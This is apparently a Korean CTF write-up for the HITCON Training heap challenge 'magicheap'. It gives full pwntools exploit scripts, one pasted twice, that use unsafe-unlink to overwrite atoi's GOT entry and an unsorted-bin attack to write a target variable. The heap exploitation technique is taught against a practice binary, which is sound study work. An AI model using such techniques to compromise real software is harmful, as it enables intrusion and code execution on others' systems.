ghkdtlwns987
[hitcon_traininig] LAB 14 (magicheap) 본문
from pwn import*
context(arch='amd64',os='linux')
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
r = process('./magicheap')
elf = ELF('./magicheap')
def info_log():
log.info('create_heap : main + 173')
log.info('edit_heap : main + 185')
log.info('delete_heap : main + 197')
log.info('heaparray : 0x6020e0')
pause()
def create(size,content):
log.info('create')
r.sendlineafter('choice :','1')
r.sendlineafter('Heap : ',str(size))
r.sendlineafter('heap:',str(content))
r.recvuntil('SuccessFul\n')
pause()
def edit(index,size,content):
log.info('edit')
r.sendlineafter('choice :','2')
r.sendlineafter('Index :',str(index))
r.sendlineafter('Heap : ',str(size))
r.sendlineafter('heap : ',str(content))
r.recvuntil('Done !\n')
pause()
def delete(index):
log.info('delete')
r.sendlineafter('choice :','3')
r.sendlineafter('Index :',str(index))
r.recvuntil('Done !\n')
pause()
def main():
heaparray = 0x6020e0
atoi_got = elf.got['atoi']
magic = elf.symbols['l33t']
info_log()
create(0x80,'A'*8)
create(0x80,'B'*8)
create(0x80,'C'*8)
payload = ''
payload += p64(0)
payload += p64(0)
payload += p64(heaparray - 24)
payload += p64(heaparray - 16)
payload += 'A'*96
payload += p64(0x80)
payload += p64(0x90)
edit(0,len(payload),payload)
delete(1)
payload = ''
payload += 'C'*24
payload += p64(atoi_got)
edit(0,len(payload),payload)
edit(0,8,p64(magic))
r.interactive()
if __name__ == '__main__':
main()
코드는 다음과 같다.
만약 unsafe_unlink 에 대해 이해를 하고 있으면 이 코드를 보면 unlink 를 이용해 풀 수도 있다는 것을 알아챘을 것이다.
난 이 문제를 unsorted bin 으로 한번 Exploit 해봤고, unlink 를 통해서도 해봤다.
결과는 둘 다 성공했다.
먼저, ulink 같은 경우는 heap 이 전역변수에서 관리 되고, create_heap() 에서 내가 입력한 만큼 size가 할당이 되고,
edit_heap() 함수에서 내가 원하는대로 heap() 을 변경할 수 있기 때문에, 적적히 chunk 를 조작해 Exploit 해 줄수 있다.
저번에 unlink 에 대해 다루었으므로 어떻게 풀었는지는 건너뛰도록 하겠다.
from pwn import*
context(arch='amd64',os='linux')
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
r = process('./magicheap')
elf = ELF('./magicheap')
def info_log():
log.info('create_heap : main + 173')
log.info('edit_heap : main + 185')
log.info('delete_heap : main + 197')
log.info('heaparray : 0x6020e0')
pause()
def create(size,content):
log.info('create')
r.sendlineafter('choice :','1')
r.sendlineafter('Heap : ',str(size))
r.sendlineafter('heap:',str(content))
r.recvuntil('SuccessFul\n')
pause()
def edit(index,size,content):
log.info('edit')
r.sendlineafter('choice :','2')
r.sendlineafter('Index :',str(index))
r.sendlineafter('Heap : ',str(size))
r.sendlineafter('heap : ',str(content))
r.recvuntil('Done !\n')
pause()
def delete(index):
log.info('delete')
r.sendlineafter('choice :','3')
r.sendlineafter('Index :',str(index))
r.recvuntil('Done !\n')
pause()
def main():
heaparray = 0x6020e0
atoi_got = elf.got['atoi']
magic = elf.symbols['l33t']
info_log()
create(0x80,'A'*8)
create(0x80,'B'*8)
create(0x80,'C'*8)
payload = ''
payload += p64(0)
payload += p64(0)
payload += p64(heaparray - 24)
payload += p64(heaparray - 16)
payload += 'A'*96
payload += p64(0x80)
payload += p64(0x90)
edit(0,len(payload),payload)
delete(1)
payload = ''
payload += 'C'*24
payload += p64(atoi_got)
edit(0,len(payload),payload)
edit(0,8,p64(magic))
r.interactive()
if __name__ == '__main__':
main()
다음은 unlink Exploit 코드이다.
난 heaparray 에 atoi_got 를 주고, atoi_got 에 magic(l33t) 함수를 덮어주었다.
2. Unsorted bin 풀이.
이번엔 Unsorted bin 으로 문제를 풀어보았다.
Unsorted bin 은 fastbin 이 아니라면(small, large bin...) fd 와 bk 에 main_arena + 88 값이 들어간다.
그림을 보며 이해하도록 하자.
먼저 4개의 힙을 만들었다.
그리고 small bin 크기의 힙(index2, index0) 을 차례대로 free() 한다고 가정해보자.
다음과 같이 될 것이다. unsorted bin 은 unsorted bin 끼리 서로 fd 와 bk를 연결한다.
다음으로 edit 함수로 index 1 의 heap을 수정해보겠다.
bk = magic - 0x10 을 해 준 이유는 magic-0x10 을 해야 magic 값에 값을 쓸 수 있기 때문이다.
마지막으로 create_heap을 한다면 magic 변수에 값을 쓸 수 있다.
증명하기 위해 gdb로 보여주고 마치겠다.
성공이다.
from pwn import*
context(arch='amd64',os='linux')
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
r = process('./magicheap')
elf = ELF('./magicheap')
gdb.attach(r)
def info_log():
log.info('create_heap : main + 173')
log.info('edit_heap : main + 185')
log.info('delete_heap : main + 197')
log.info('heaparray : 0x6020e0')
pause()
def create(size,content):
r.sendlineafter('choice :','1')
r.sendlineafter('Heap : ',str(size))
r.sendlineafter('heap:',str(content))
r.recvuntil('SuccessFul\n')
pause()
def edit(index,size,content):
log.info('edit')
r.sendlineafter('choice :','2')
r.sendlineafter('Index :',str(index))
r.sendlineafter('Heap : ',str(size))
r.sendlineafter('heap : ',str(content))
r.recvuntil('Done !\n')
pause()
def delete(index):
log.info('delete')
r.sendlineafter('choice :','3')
r.sendlineafter('Index :',str(index))
r.recvuntil('Done !\n')
pause()
def main():
magic = elf.symbols['magic']
info_log()
create(0x80,'A'*8)
create(0x20,'B'*8)
create(0x80,'C'*8)
create(0x20,'D'*8)
delete(2)
delete(0)
payload = ''
payload += 'E'*0x20
payload += p64(0)
payload += p64(0x91)
payload += p64(0) #fd
payload += p64(magic - 0x10) #bk
edit(1,len(payload),payload)
create(0x80,'H'*8)
r.sendlineafter('choice :',str(4869))
r.interactive()
if __name__ == '__main__':
main()
+마지막으로....
요 근래 2달간 학교 수업진도를 따라가려다 보니 heap공부기간이 너무 길어진거 같다. 분발해야겠다.
'hitcon_training' 카테고리의 다른 글
[hitcon_training] LAB 15 (zoo) (0) | 2020.09.24 |
---|---|
[hitcon_training] LAB13 (Extend Chunks) (0) | 2020.09.11 |
[hitcon_training] lab 12 (secretgarden) (0) | 2020.09.07 |
[hitcon_training] LAB11 (bamboobox) (0) | 2020.09.06 |